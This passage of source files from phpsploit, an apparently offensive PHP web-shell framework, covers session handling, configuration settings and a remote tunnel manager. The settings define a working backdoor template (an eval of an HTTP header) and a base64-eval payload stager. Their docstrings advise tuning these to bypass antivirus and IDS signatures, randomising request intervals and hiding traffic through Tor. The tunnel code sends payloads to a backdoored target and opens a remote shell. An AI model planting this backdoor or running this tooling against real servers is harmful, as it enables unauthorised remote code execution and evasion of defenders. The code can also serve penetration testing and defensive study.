_raw_value() method >>> from core import session >>> raw = session._raw_value(session) >>> type(raw) >>> restored = session._obj_value(raw) >>> type(restored) """ def update_obj(obj, new, fatal_errors=True): elems = list(obj.keys()) if "Conf" in elems: elems.remove("Conf") elems.insert(0, "Conf") if "Env" in elems: elems.remove("Env") obj["Env"].update(new["Env"]) if "Hist" in elems: elems.remove("Hist") obj["Hist"] += new["Hist"] for elem in elems: if isinstance(obj[elem], dict): for key, value in new[elem].items(): try: obj[elem][key] = value except Exception as error: item_repr = "session.%s.%s" % (elem, key) msg_prefix = "[-] Couldn't set %s" % item_repr if fatal_errors: print("%s:" % msg_prefix) raise else: print("%s: %s" % (msg_prefix, error)) else: obj[elem] = new[elem] return obj obj = Session() obj = update_obj(obj, self._raw_value(self)) if raw is not None: if raw.keys() != obj.keys(): raise ValueError("Invalid raw session") obj = update_obj(obj, raw, fatal_errors=False) return obj def dump(self, file=None, ask_confirmation=True): """Dump current session to `file`. `file` defaults to self.File if unset. """ if file is None: file = self.File # get file's absolute path file = utils.path.truepath(file) # if it is a directory, append default session file name if os.path.isdir(file): file = utils.path.truepath(file, SESSION_FILENAME) # if file exists and differs from session's binded file, # then an user overwriting confirmation is required. if ask_confirmation and os.path.exists(file): if file != self.File or super().__getitem__("File") is None: question = "File ÂĢ{}Âģ already exists, overwrite it ?" if ui.input.Expect(False)(question.format(file)): raise Warning("The session was not saved") # write it to the file self._history_update() raw = self._raw_value(self) pickle.dump(raw, gzip.open(file, 'wb')) # instanciate main phpsploit session as core.session session = Session() phpsploit-3.2+git20240329.aea961d/src/core/session/compat_session.py000066400000000000000000000112521460155776400247600ustar00rootroot00000000000000"""Backwards compatible session loader. This module loads a phpsploit session file which have been generated by old phpsploit versions which uses different format. """ # pylint: disable=no-self-use # pylint: disable=invalid-name import copy import pickle from core import encoding def rename_key(dictionnary, old_keyname, new_keyname): """If `old_keyname` exists in `dictionnary`, rename the key to `new_keyname` """ if old_keyname in dictionnary: dictionnary[new_keyname] = dictionnary.pop(old_keyname) def remove_key(dictionnary, keyname): """Remove `keyname` from `dictionnary` if it exists. """ if keyname in dictionnary.keys(): del dictionnary[keyname] # pylint: disable=too-few-public-methods class AbstractSessionLoader: """Abstract class for loading session files which have been generated by a deprecated phpsploit framework version. """ # empty raw session template (const) _template = {"Conf": {}, "Env": {}, "Alias": {}, "Hist": {}, "Compat": {}, "File": None } def __init__(self): pass def __call__(self, session_path): """Get raw session object from `session_path`. """ new_session = copy.deepcopy(self._template) session_keys = new_session.keys() old_session = self._load_file(session_path) for attribute in dir(self): if attribute.startswith("set_"): target = attribute[4:].capitalize() if target not in session_keys: raise ValueError("Invalid attribute: %r" % attribute) function = getattr(self, attribute) new_session[target] = function(old_session) return new_session def _load_file(self, session_path): """default file loader """ with open(session_path, 'rb') as file: return pickle.load(file, encoding=encoding.default_encoding, errors=encoding.default_errors) class Loader_V2_1_4(AbstractSessionLoader): """Load session file from phpsploit <= 2.1.4 """ def _load_file(self, session_path): """load file & check PSCOREVER""" old_session = super()._load_file(session_path) if int(old_session["PSCOREVER"]) != 2: raise ValueError("PSCOREVER must be 2") return old_session def set_conf(self, old_session): """Conf object setter""" result = old_session["SET"] # $EDITOR rename_key(result, "TEXTEDITOR", "EDITOR") # $BROWSER rename_key(result, "WEBBROWSER", "BROWSER") # $HTTP_USER_AGENT if "HTTP_USER_AGENT" in result.keys(): old_defaults = ["file://misc/http/User-Agent.lst", "file://framework/misc/http_user_agents.lst"] if result["HTTP_USER_AGENT"] in old_defaults: del result["HTTP_USER_AGENT"] # $SAVEFILE remove_key(result, "SAVEFILE") return result def set_env(self, old_session): """Env object setter""" result = old_session["ENV"] rename_key(result, "CWD", "PWD") rename_key(result, "WRITE_TMPDIR", "WRITEABLE_TMPDIR") rename_key(result, "WRITE_WEBDIR", "WRITEABLE_WEBDIR") remove_key(result, "TEXTEDITOR") # Add some environment variables from old "SRV" object. result["ADDR"] = old_session["SRV"]["addr"] result["HOME"] = old_session["SRV"]["home"] result["HOST"] = old_session["SRV"]["host"] result["PHP_VERSION"] = old_session["SRV"]["phpver"] result["PATH_SEP"] = old_session["SRV"]["separator"] result["HTTP_SOFTWARE"] = old_session["SRV"]["soft"] result["USER"] = old_session["SRV"]["user"] result["WEB_ROOT"] = old_session["SRV"]["webroot"] result["CLIENT_ADDR"] = old_session["SRV"]["client_addr"] # $PLATFORM result["PLATFORM"] = old_session["SRV"]["os"].split()[0].lower() if result["PLATFORM"] in ["unknow", "unknown", ""]: if result["PATH_SEP"] == "\\": result["PLATFORM"] = "windows" else: result["PLATFORM"] = "unix" return result def load(session_path): """Successively try to load session file with the list of compat session loaders. The list `compat_loaders` must be sorted starting with most recent loader """ compat_loaders = [Loader_V2_1_4()] for old_session_load in compat_loaders: try: return old_session_load(session_path) except BaseException: pass phpsploit-3.2+git20240329.aea961d/src/core/session/environment.py000066400000000000000000000064771460155776400243130ustar00rootroot00000000000000"""Phpsploit Environment Variables""" import re import copy import metadict from utils.regex import WORD_TOKEN class Environment(metadict.VarContainer): """Environment Variables Instanciate a dict() like object that stores PhpSploit environment variables. Unlike settings, env vars object works exactly the same way than its parent (MarContainer), except that some items (env vars) are tagged as read-only. * This behavior only aplies if the concerned variable already exists. * To set a tagged variable's value, it must not exist. Example: >>> Env = Environment() >>> Env.HOST = "foo" >>> Env.HOST = "bar" AttributeError: ÂĢHOSTÂģ variable is read-only >>> Env.HOST foo >>> del Env.HOST >>> Env.HOST = "bar" >>> Env.HOST bar """ readonly = ["ADDR", "CLIENT_ADDR", "HOST", "HTTP_SOFTWARE", "PATH_SEP", "PHP_VERSION", "WEB_ROOT"] item_deleters = ["NONE"] def __init__(self, value=None, readonly=None): if value is None: value = {} if readonly is None: readonly = [] self.readonly += readonly self.defaults = {} super().__init__(value) self.defaults = copy.copy(dict(self)) def __setitem__(self, name, value): # ensure the env var name has good syntax if name == "__DEFAULTS__": raise KeyError("illegal name: %r" % name) if not WORD_TOKEN.fullmatch(name): raise KeyError("illegal name: %r doesn't match %s" % (name, WORD_TOKEN.pattern)) if name in self.readonly and name in self.keys(): raise AttributeError("ÂĢ{}Âģ variable is read-only".format(name)) if value == "%%DEFAULT%%": if name in self.defaults.keys(): value = self.defaults[name] super().__setitem__(name, value) else: raise AttributeError("'%s' have no default value" % name) else: super().__setitem__(name, value) if name not in self.defaults.keys(): self.defaults[name] = self[name] @staticmethod def _isattr(name): return re.match("^[A-Z][A-Z0-9_]+$", name) def update(self, new_dict): readonly = self.readonly self.readonly = [] if "__DEFAULTS__" in new_dict.keys(): self.defaults = copy.copy(dict(new_dict.pop("__DEFAULTS__"))) elif hasattr(new_dict, "defaults"): self.defaults = copy.copy(dict(new_dict.defaults)) for key, value in new_dict.items(): # do not update if the key has been set to # another value than the default one. if key in self.keys() \ and key not in readonly \ and key in self.defaults.keys() \ and self[key] != self.defaults[key]: continue super().update({key: value}) self.readonly = readonly def clear(self): self.defaults = {} super().clear() def signature(self): """returns remote server signature hash for comparison """ signature = () for var in ["ADDR", "HTTP_SOFTWARE", "PATH_SEP", "PLATFORM", "USER"]: if var in self.keys(): signature += (self[var],) return hash(signature) phpsploit-3.2+git20240329.aea961d/src/core/session/history.py000066400000000000000000000016631460155776400234400ustar00rootroot00000000000000"""Session History """ class History(list): """Commands history. This class is a specialisation of the list() obj, designed to store command line strings only. It maintains a `size` property which gives the full size (in bytes) of all strings in array. To do it, the class operates overriding append(), pop() and clear() methods to keep the current size updated in real time. """ MAX_SIZE = 10000 size = 0 def append(self, string): if not isinstance(string, str): raise ValueError("Only strings could be added to history") while len(self) >= self.MAX_SIZE: self.pop(0) self.size += len(string) super().append(string) def pop(self, index=-1): try: self.size -= len(self[index]) except IndexError: pass super().pop(index) def clear(self): self.size = 0 super().clear() phpsploit-3.2+git20240329.aea961d/src/core/session/settings/000077500000000000000000000000001460155776400232175ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/src/core/session/settings/BACKDOOR.py000066400000000000000000000015711460155776400247610ustar00rootroot00000000000000""" This setting allows overriding default backdoor template. It is used to generate the backdoor to be injected in TARGET url. This setting can be changed to improve stealth. Using a different template than the default one is a good was to bypass static Antivirus/IDS signatures. Make sure that the global behavior remains the same. Indeed, BACKDOOR must evaluate the content of 'HTTP_%%PASSKEY%%' header to work properly. NOTE: %%PASSKEY%% is a magic string that is replaced by PASSKEY value at runtime. * Only edit BACKDOOR if you really understand what you're doing """ import linebuf import datatypes linebuf_type = linebuf.RandLineBuffer def validator(value): if value.find("%%PASSKEY%%") < 0: raise ValueError("shall contain %%PASSKEY%% string") return datatypes.PhpCode(value) def default_value(): return("@eval($_SERVER['HTTP_%%PASSKEY%%']);") phpsploit-3.2+git20240329.aea961d/src/core/session/settings/BROWSER.py000066400000000000000000000006061460155776400247160ustar00rootroot00000000000000""" Set attacker's default Web Browser in phpsploit's context. * USE CASES: The '--browser' option of `phpinfo` plugin uses this setting to display remote server's informations locally: > phpinfo --browser """ import linebuf import datatypes linebuf_type = linebuf.RandLineBuffer def validator(value): return datatypes.WebBrowser(value) def default_value(): return "default" phpsploit-3.2+git20240329.aea961d/src/core/session/settings/CACHE_SIZE.py000066400000000000000000000010711460155776400252250ustar00rootroot00000000000000""" Set the maximum phpsploit session file size. While using the phpsploit framework, some usage informations are stored, such as commands history. Changing this limit ensures that the session, if saved whith `session save` command will not exceed a certain size. * USE CASES: phpsploit's history uses this value to determine the maximum number of command lines to store in session file. """ import linebuf import datatypes linebuf_type = linebuf.MultiLineBuffer def validator(value): return datatypes.ByteSize(value) def default_value(): return "1 MiB" phpsploit-3.2+git20240329.aea961d/src/core/session/settings/EDITOR.py000066400000000000000000000007561460155776400245670ustar00rootroot00000000000000""" Set attacker's prefered text editor. * USE CASES: # open TARGET setting content with EDITOR: > set TARGET + # use `edit` plugin to edit a remote file locally with EDITOR: > edit /var/www/html/index.php """ import os import linebuf import datatypes linebuf_type = linebuf.MultiLineBuffer def validator(value): return datatypes.ShellCmd(value) def default_value(): raw_value = "vi" if "EDITOR" in os.environ: raw_value = os.environ["EDITOR"] return raw_value phpsploit-3.2+git20240329.aea961d/src/core/session/settings/PASSKEY.py000066400000000000000000000032301460155776400247060ustar00rootroot00000000000000""" HTTP Header to use as main phpsploit payload stager for RCE. PASSKEY is used by BACKDOOR setting, and phpsploit's http tunnel mechanisms as the main payload stager & dispatcher. While exploiting a remote TARGET with phpsploit, make sure PASSKEY have the same value as the one it had when backdoor had been generated. * AUTHENTICATION FEATURE: It is recommended that you permanently change PASSKEY value to a custom value for authentication purposes. Indeed, having a custom PASSKEY value ensures that other phpsploit users will not be able to connect to your installed backdoor without the knowledge of it's value. * EXAMPLE: Use a custom PASSKEY to prevent unauthorized access > set PASSKEY Custom123 > exploit # [*] Current backdoor is: # To run a remote tunnel, the backdoor shown above must be # manually injected in a remote server executable web page. # Then, use `set TARGET ` and run `exploit`. """ import re import linebuf linebuf_type = linebuf.MultiLineBuffer def validator(value): value = str(value) reserved_headers = ['host', 'accept-encoding', 'connection', 'user-agent', 'content-type', 'content-length'] if not value: raise ValueError("can't be an empty string") if not re.match("^[a-zA-Z0-9_]+$", value): raise ValueError("only chars from set ÂĢa-Z0-9_Âģ are allowed") if re.match('^zz[a-z]{2}$', value.lower()) or \ value.lower().replace('_', '-') in reserved_headers: raise ValueError("reserved header name: ÂĢ{}Âģ".format(value)) return value def default_value(): raw_value = "phpSpl01t" return raw_value phpsploit-3.2+git20240329.aea961d/src/core/session/settings/PAYLOAD_PREFIX.py000066400000000000000000000012341460155776400257370ustar00rootroot00000000000000""" This variable contains php code which is interpreted on each http request, just before payload execution. This setting can be used for example in order to override a php configuration option with a value that extends execution scope. The code will be executed before ANY payload execution. * Only edit PAYLOAD_PREFIX if you really understand what you're doing """ import core import linebuf import datatypes linebuf_type = linebuf.MultiLineBuffer def validator(value): return datatypes.PhpCode(value) def default_value(): file_relpath = "data/tunnel/payload_prefix.php" file = datatypes.Path(core.BASEDIR, file_relpath) return file.read() phpsploit-3.2+git20240329.aea961d/src/core/session/settings/PROXY.py000066400000000000000000000011731460155776400245140ustar00rootroot00000000000000""" Use a proxy to connect to the target You can set a proxy in order to encapsulate the whole phpsploit requests for furtivity or network analysis purposes. This setting supports HTTP, HTTPS, SOCKS4, SOCKS4A, SOCKS5 and SOCKS5H proxy schemes. PROXY SYNTAX: ://
: * EXAMPLES: # To unset PROXY, set it's value to 'None' magic string: > set PROXY None # To set a socks5 proxy to connect through Tor: > set PROXY socks5://127.0.0.1:9050 """ import linebuf import datatypes linebuf_type = linebuf.RandLineBuffer def validator(value): return datatypes.Proxy(value) def default_value(): return None phpsploit-3.2+git20240329.aea961d/src/core/session/settings/REQ_DEFAULT_METHOD.py000066400000000000000000000031211460155776400264210ustar00rootroot00000000000000""" Default HTTP method to use to communicate with TARGET. The phpsploit framework supports both GET and POST methods to send HTTP requests * GET METHOD: ------------- # BEHAVIOR: The PASSKEY payload stager is passed as a single HTTP header, and a set of HTTP headers are created, and fullfilled with a portion of the payload, respecting limitations imposed by REQ_MAX_HEADERS and REQ_MAX_HEADER_SIZE settings. # PROS: This method is usually the stealthiest one, as common log analysis softwares don't analyse HTTP Headers at all. # CONS: The amount of data that can be injected is limited by remote server's REQ_MAX_HEADERS and REQ_MAX_HEADER_SIZE. So phpsploit may need to run multi-request payloads more frequently. * POST METHOD: -------------- # BEHAVIOR: The PASSKEY payload stager is passed as a single HTTP header, and the final payload is sent as a big POSTDATA argument (named with PASSKEY), respecting limitations imposed by REQ_MAX_POST_SIZE setting. # PROS: Remote server's REQ_MAX_POST_SIZE has generally a large value, So big payloads can be sent through a single HTTP request, instead of sending a lot of GET multi-requests. # CONS: Triggering a lot of POST requests on TARGET url can raise suspicion, as this kind of request is not expected on most of URLs. """ import linebuf linebuf_type = linebuf.RandLineBuffer def validator(value): value = value.upper() if value not in ["GET", "POST"]: raise ValueError("available methods: GET/POST") return value def default_value(): return "GET" phpsploit-3.2+git20240329.aea961d/src/core/session/settings/REQ_HEADER_PAYLOAD.py000066400000000000000000000016061460155776400264040ustar00rootroot00000000000000""" Override default payload stager template. It is used as PASSKEY HTTP Header value to execute the final php payload. This setting can be changed to improve stealth. Using a different template than the default one is a good was to bypass static Antivirus/IDS signatures. Make sure that the global behavior remains the same. Indeed, REQ_HEADER_PAYLOAD must base64_decode() '%%BASE64%%', then eval() it to work properly. NOTE: %%BASE64%% is a magic string that is replaced by the base64 payload to be executed at runtime. * Only edit REQ_HEADER_PAYLOAD if you understand what you're doing """ import linebuf import datatypes linebuf_type = linebuf.RandLineBuffer def validator(value): if value.find("%%BASE64%%") < 0: raise ValueError("shall contain %%BASE64%% string") return datatypes.PhpCode(value) def default_value(): return "eval(base64_decode('%%BASE64%%'))" phpsploit-3.2+git20240329.aea961d/src/core/session/settings/REQ_INTERVAL.py000066400000000000000000000011521460155776400255230ustar00rootroot00000000000000""" Interval (in seconds) to wait between HTTP requests. While sending large payload (like uploading a big file with `upload` plugin), this setting can improve stealth by preventing the remove IDS to raise alerts or block your IP due to excess of consecutive HTTP requests. * EXAMPLES: # randomly sleep between 1 and 10 seconds between requests: > set REQ_INTERVAL 1-10 # sleep exactly 3 seconds between requests: > set REQ_INTERVAL 3 """ import linebuf import datatypes linebuf_type = linebuf.RandLineBuffer def validator(value): return datatypes.Interval(value) def default_value(): return "1-10" phpsploit-3.2+git20240329.aea961d/src/core/session/settings/REQ_MAX_HEADERS.py000066400000000000000000000015571460155776400260700ustar00rootroot00000000000000""" Define how many HTTP Headers can be sent in a request. This setting is needed to tell phpsploit to generate HTTP requests that are acceptable for the target server. * EXAMPLE: Most http servers allow up to 100 Headers per HTTP request. Therefore, if the server is configured to only allow up to 20 headers, phpsploit could fail to execute payloads unless you change value of REQ_MAX_HEADERS to 20: > set REQ_MAX_HEADERS 20 * NOTE: If you encounter http error 500 or if payload execution fails, you may need to lower the default limit of this setting. * REFERENCES: http://httpd.apache.org/docs/2.2/mod/core.html#LimitRequestFieldSize """ import linebuf linebuf_type = linebuf.RandLineBuffer def validator(value): if 10 <= int(value) <= 680: return int(value) raise ValueError("must be an integer from 10 to 680") def default_value(): return 100 phpsploit-3.2+git20240329.aea961d/src/core/session/settings/REQ_MAX_HEADER_SIZE.py000066400000000000000000000016321460155776400265710ustar00rootroot00000000000000""" Set the maximum length of a single HTTP Header. This setting is needed to tell phpsploit to generate HTTP requests that are acceptable for the target server. * EXAMPLE: Most http servers allow up to 4KB of data per HTTP Header. Therefore, if the server is configured to only allow up to 500 bytes Headers, phpsploit could fail to execute payloads unless you change value of REQ_MAX_HEADER_SIZE to 500: > set REQ_MAX_HEADER_SIZE 500 * NOTE: If you encounter http error 500 or if payload execution fails, you may need to lower the default limit of this setting. * REFERENCES: http://httpd.apache.org/docs/2.2/mod/core.html#LimitRequestFields """ import linebuf import datatypes linebuf_type = linebuf.RandLineBuffer def validator(value): value = datatypes.ByteSize(value) if 250 > value: raise ValueError("can't be less than 250 bytes") return value def default_value(): return "4 KiB" phpsploit-3.2+git20240329.aea961d/src/core/session/settings/REQ_MAX_POST_SIZE.py000066400000000000000000000017231460155776400264270ustar00rootroot00000000000000""" Set max size of POST data allowed in an HTTP request. This setting is needed to tell phpsploit to generate HTTP requests that are acceptable for the target server. * EXAMPLE: Most http servers allow up to 4MiB per request message body. Therefore, if the server is configured to only allow up to 300KiB, phpsploit could fail to execute payloads unless you change value of REQ_MAX_HEADERS to 300 KiB: > set REQ_MAX_HEADERS 300KiB * NOTE: If you encounter http error 500 or if payload execution fails, you may need to lower the default limit of this setting. * REFERENCES: http://httpd.apache.org/docs/2.2/mod/core.html#LimitRequestBody https://secure.php.net/manual/en/ini.core.php#ini.post-max-size """ import linebuf import datatypes linebuf_type = linebuf.RandLineBuffer def validator(value): value = datatypes.ByteSize(value) if 250 > value: raise ValueError("can't be less than 250 bytes") return value def default_value(): return "4 MiB" phpsploit-3.2+git20240329.aea961d/src/core/session/settings/REQ_POST_DATA.py000066400000000000000000000013241460155776400256560ustar00rootroot00000000000000""" Custom string to append to POST data. Some TARGET URLs may require specific variables to be set in POST data (http request message body) This setting only affects HTTP POST Requests, so you should set REQ_DEFAULT_METHOD to "POST" for it to take effect. * EXAMPLE: # if TARGET url needs alternative POST vars to work properly: > set REQ_POST_DATA "user=admin&pass=w34kp4ss" * NOTE: This setting is useful only to specific cases where TARGET URL cannot work without it, if you don't need it, or don't know what you're doing, you should ignore this setting until you need it. """ import linebuf linebuf_type = linebuf.MultiLineBuffer def validator(value): return str(value) def default_value(): return "" phpsploit-3.2+git20240329.aea961d/src/core/session/settings/REQ_ZLIB_TRY_LIMIT.py000066400000000000000000000015361460155776400265410ustar00rootroot00000000000000""" Control over which payload size the zlib compression feature will be disabled. The phpsploit request engine does'its best to compress and fit the payload within as little HTTP Requests as possible. Therefore, zlib compression becomes exponentially CPU greedy as payload size gows up, and it might be extremelly slow to process very large requests. The REQ_ZLIB_TRY_LIMIT defines a value over which the payload is no more processed by zlib compression. Payloads over this value will then be encoded without zlib compression, making them bigger, but also a lot faster to generate. """ import linebuf import datatypes linebuf_type = linebuf.RandLineBuffer def validator(value): value = datatypes.ByteSize(value) if value < 1: raise ValueError("must be a positive bytes number") return value def default_value(): return "20 MiB" phpsploit-3.2+git20240329.aea961d/src/core/session/settings/SAVEPATH.py000066400000000000000000000007171460155776400250110ustar00rootroot00000000000000""" Default directory to save and load phpsploit session files. * EXAMPLE: If SAVEPATH is '/dev/shm', running `session load foo.session` will implicitly try to load '/dev/shm/foo.session. This setting also affetcs the `session save` command. """ import tempfile import linebuf import datatypes linebuf_type = linebuf.MultiLineBuffer def validator(value): return datatypes.Path(value, mode="drw") def default_value(): return tempfile.gettempdir() phpsploit-3.2+git20240329.aea961d/src/core/session/settings/TARGET.py000066400000000000000000000010171460155776400245560ustar00rootroot00000000000000""" Set remote target URL for communication with phpsploit This setting should contain at least 1 URL, previously backdoored with the backdoor code generated by `exploit --get-backdoor`. When running `exploit`, phpsploit uses this URL to try to open a remote shell. """ import linebuf import datatypes linebuf_type = linebuf.RandLineBuffer def validator(value): if str(value).lower() in ["", "none"]: return default_value() else: return datatypes.Url(value) def default_value(): return None phpsploit-3.2+git20240329.aea961d/src/core/session/settings/TMPPATH.py000066400000000000000000000005131460155776400247050ustar00rootroot00000000000000""" Default phpsploit temporary directory. * USE CASES: Used as base path for files edited with `edit` plugin. """ import tempfile import linebuf import datatypes linebuf_type = linebuf.MultiLineBuffer def validator(value): return datatypes.Path(value, mode="drw") def default_value(): return tempfile.gettempdir() phpsploit-3.2+git20240329.aea961d/src/core/session/settings/VERBOSITY.py000066400000000000000000000003451460155776400251610ustar00rootroot00000000000000""" Enable or Disable phpsploit framework verbosity. """ import linebuf import datatypes linebuf_type = linebuf.RandLineBuffer def validator(value): return datatypes.Boolean(value) def default_value(): return False phpsploit-3.2+git20240329.aea961d/src/core/session/settings/__init__.py000066400000000000000000000137741460155776400253440ustar00rootroot00000000000000"""Phpsploit Configuration Settings""" import os import sys import re import importlib import core import metadict import linebuf from ui.color import colorize DEFAULT_HTTP_USER_AGENT = "file://" + core.BASEDIR + "data/user_agents.lst" # pylint: disable=too-many-instance-attributes class Settings(metadict.VarContainer): """Configuration Settings Instanciate a dict() like object that stores PhpSploit session settings. Behavior: >>> Conf = Settings() >>> Conf.TMPPATH # call TMPPATH item (type: RandLineBuffer) >>> Conf["TMPPATH"] # same as above >>> Conf("REQ_") # display nice REQ_* vars representation >>> Conf.HTTP_USER_AGENT += "IE7" # add a possible TMPPATH value (random) >>> Conf.HTTP_USER_AGENT = "file:///tmp/useragents.lst" The last example binds the var's value to the file's data. When a setting buffer contains multiple lines, such as in the case of file binds, the the var's value will be randomly picked from valid lines. """ # pylint: disable=invalid-name def __init__(self): """Declare default settings values""" super().__init__() self._settings = self._load_settings() # Session related self.TMPPATH = "%%DEFAULT%%" self.SAVEPATH = "%%DEFAULT%%" self.CACHE_SIZE = "1 MiB" self.VERBOSITY = False # Tunnel link opener self.TARGET = None self.BACKDOOR = "@eval($_SERVER['HTTP_%%PASSKEY%%']);" self.PROXY = None self.PASSKEY = "phpSpl01t" # System tools self.EDITOR = "%%DEFAULT%%" self.BROWSER = "%%DEFAULT%%" # HTTP Headers self.HTTP_USER_AGENT = DEFAULT_HTTP_USER_AGENT # HTTP Requests settings self.REQ_DEFAULT_METHOD = "GET" self.REQ_HEADER_PAYLOAD = "eval(base64_decode('%%BASE64%%'))" self.REQ_INTERVAL = "1-10" self.REQ_MAX_HEADERS = 100 self.REQ_MAX_HEADER_SIZE = "4 KiB" self.REQ_MAX_POST_SIZE = "4 MiB" self.REQ_ZLIB_TRY_LIMIT = "20 MiB" self.REQ_POST_DATA = "" # payload prefix self.PAYLOAD_PREFIX = "%%DEFAULT%%" def __setitem__(self, name, value): # if the set value is a *LineBuffer instance, just do it! if isinstance(value, linebuf.AbstractLineBuffer): return super().__setitem__(name, value) name = name.replace('-', '_').upper() if not self._isattr(name): raise KeyError("illegal name: '{}'".format(name)) if name[5:] and name[:5] == "HTTP_": # HTTP_* settings have a RandLineBuffer linebuf_type linebuf_type = linebuf.RandLineBuffer # validator = self._set_HTTP_header validator = str info = self._get_HTTP_header_info(name[5:]) # allow removal of custom HTTP_ settings, except for user agent. if name != "HTTP_USER_AGENT" and \ str(value).upper() in ["", "NONE", "%%DEFAULT%%"]: return super().__setitem__(name, value) elif name in self._settings.keys(): linebuf_type = getattr(self._settings[name], "linebuf_type") validator = getattr(self._settings[name], "validator") default = getattr(self._settings[name], "default_value") info = getattr(self._settings[name], "__doc__") else: raise KeyError("illegal name: '{}'".format(name)) # This fix creates a non-failing version of user agent default value if name == "HTTP_USER_AGENT" and \ (name not in self.keys() or value == "%%DEFAULT%%"): if value == "%%DEFAULT%%": value = DEFAULT_HTTP_USER_AGENT try: value = linebuf_type(value, validator) except ValueError: alt_file = value[7:] alt_buff = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" value = linebuf_type((alt_file, alt_buff), validator) else: if value == "%%DEFAULT%%": value = default() value = linebuf_type(value, validator) # add docstring attribute to setting value.docstring = self.format_docstring(name, linebuf_type, info) # use grandparent class (bypass parent's None feature) return dict.__setitem__(self, name, value) @staticmethod def _isattr(name): return re.match("^[A-Z][A-Z0-9_]+$", name) @staticmethod def _load_settings(): settings = {} dirname = os.path.dirname(__file__) sys.path.insert(0, dirname) for file in os.listdir(dirname): if not re.match(r"^[A-Z][A-Z0-9_]+\.py$", file): continue name = file[:-3] # help(type(importlib.import_module(name))) # module = getattr(importlib.import_module(name), name) module = importlib.import_module(name) settings[name] = module sys.path.pop(0) return settings @staticmethod def _set_HTTP_header(value): return str(value) @staticmethod def _get_HTTP_header_info(name): hdr_name = name.replace("_", "-").title() result = "Define a value for %r HTTP Header field\n" % hdr_name if name != "USER_AGENT": result += ("\nUse 'None' magic string to delete this setting:\n" "> set HTTP_%s None") % name return result @staticmethod def format_docstring(name, linebuf_type, desc): """formet help docstring per settings """ indent = lambda buf: buf.strip().replace("\n", "\n ") doc = ("\n" "DESCRIPTION:\n" " {description}\n" "\n" "BUFFER TYPE:\n" " {objtype!r}\n" "\n" " {typedesc}") typedesc = linebuf_type.desc.format(var=colorize("%Lined", name)) return doc.format(description=indent(desc), objtype=linebuf_type, typedesc=typedesc.strip()) phpsploit-3.2+git20240329.aea961d/src/core/tunnel/000077500000000000000000000000001460155776400212015ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/src/core/tunnel/__init__.py000066400000000000000000000063251460155776400233200ustar00rootroot00000000000000"""Phpsploit remote tunnel manager. Usage: >>> from core import tunnel >>> if not tunnel: >>> tunnel.open() >>> tunnel.send("a php payload") >>> else: >>> tunnel.close() """ __all__ = ["tunnel"] from core import session import ui.input import ui.color from . import handler from . import connector from . import payload class Tunnel: """Phpsploit remote tunnel manager """ def __init__(self): self.socket = None self.hostname = None self.active = False self.payload = payload def __bool__(self): return self.active def open(self): """open a new remote connection to TARGET""" if self.active: raise ValueError("cannot open() an active tunnel") socket = connector.Request() if socket.open(): # handler for environment reset if needed if {"ADDR", "HOST"}.issubset(session.Env): tmp_session = session.deepcopy() tmp_session.Env.clear() tmp_session.Env.update(socket.environ) if session.Env.signature() != tmp_session.Env.signature(): ui.color.diff(session.Env, tmp_session.Env) print() question = ("TARGET server have changed, are you " "sure you want to reset environment " "as shown above ?") if ui.input.Expect(False)(question): print("[-] %s (%s): Exploitation aborted" % (tmp_session.Env.ADDR, tmp_session.Env.HOST)) self.close() return False print("[*] Environment correctly reset") session.Env.update(socket.environ) self.socket = socket self.hostname = socket.socket.hostname print("[*] Shell obtained by PHP (%s -> %s)\n" % (session.Env.CLIENT_ADDR, session.Env.ADDR)) print("Connected to %s server (%s)" % (session.Env.PLATFORM.capitalize(), session.Env.HOST)) print("running PHP %s on %s" % (session.Env.PHP_VERSION, session.Env.HTTP_SOFTWARE)) self.active = True return True return False def close(self): """close tunnel""" self.active = False return True def send(self, raw_payload): """run a payload on remote server""" if not self.active: raise ValueError("cannot send() payload: tunnel is not active") if not self.socket: raise ValueError("cannot send() payload: tunnel has no socket") # request = handler.Request() request = handler.new_request() request.open(raw_payload) return request def has_been_active(self): """check whether this tunnel has already been open() in the past""" return bool(self.hostname) @staticmethod def get_raw_requests(): """get raw requests data from previously sent payload""" return handler.get_raw_requests() # instanciate main phpsploit tunnel as core.tunnel tunnel = Tunnel() phpsploit-3.2+git20240329.aea961d/src/core/tunnel/compat_handler.py000066400000000000000000000015051460155776400245340ustar00rootroot00000000000000"""Backwards compatible tunnel handler for phpsploit v1 backdoors, aka: """ __all__ = ["Request_V1_x"] from . import handler from .exceptions import BuildError class Request_V1_x(handler.Request): def __init__(self): """Force default method to POST, because only this one was supported on phpsploit v1 versions. """ super().__init__() self.default_method = "POST" def build_forwarder(self, method, decoder): """Assuming that phpsploit v1 uses POST data as payload container without using an intermediate forwarder, this method shall always return an empty dictionnary. """ return {} def load_multipart(self): raise BuildError("Can't send multi request in v1-compatible mode") phpsploit-3.2+git20240329.aea961d/src/core/tunnel/connector.py000066400000000000000000000076411460155776400235550ustar00rootroot00000000000000"""Open a new connection to remote TARGET """ __all__ = ["Request"] import core from datatypes import Path from . import handler class Request: """Handle virtual `tunnel` between attacker and remote TARGET. """ def __init__(self): self.socket = None self.environ = {} def open(self): """open a new tunnel connection to TARGET """ # instanciate and configure payload handler. socket = handler.new_request() socket.is_first_payload = True socket.errmsg_request = "Could not connect to TARGET" socket.errmsg_response = "TARGET does not seem to be backdoored" # send the `connector.php` payload through created tunnel (socket). payload = Path(core.BASEDIR, 'data/tunnel/connector.php').phpcode() socket.open(payload) # build phpsploit session's environment variables from # connector.php's returned array. self.socket = socket raw_vars = self._get_vars(socket.read()) self.environ = self._build_env(raw_vars) return True def close(self): """close the virtual link, actually, just return the link closed's string """ print('[*] Connection to %s closed.' % self.socket.hostname) return True @staticmethod def _get_vars(raw_response): """Retrieve and format connector's variables """ result = list() for name, value in raw_response.items(): value = str(value).strip() result.append((name, value)) return dict(result) def _build_env(self, raw_vars): """collect the server related vars, usefull for further plugins usage and framework management. written at self.CNF['SRV'] on the interface's core. """ # return first argument which is not empty def choose(options, default=''): for choice in options: if choice in raw_vars: if raw_vars[choice].strip() not in ["", "None"]: return raw_vars[choice] return default # get env from connector's returned array env = {} env['CLIENT_ADDR'] = choose(['REMOTE_ADDR', 'REMOTE_HOST']) if ":" in env['CLIENT_ADDR']: # enclose with brackets if ipv6 env["CLIENT_ADDR"] = "[%s]" % env["CLIENT_ADDR"] env['HOST'] = choose(['SERVER_NAME', 'HTTP_HOST'], self.socket.hostname) env['ADDR'] = 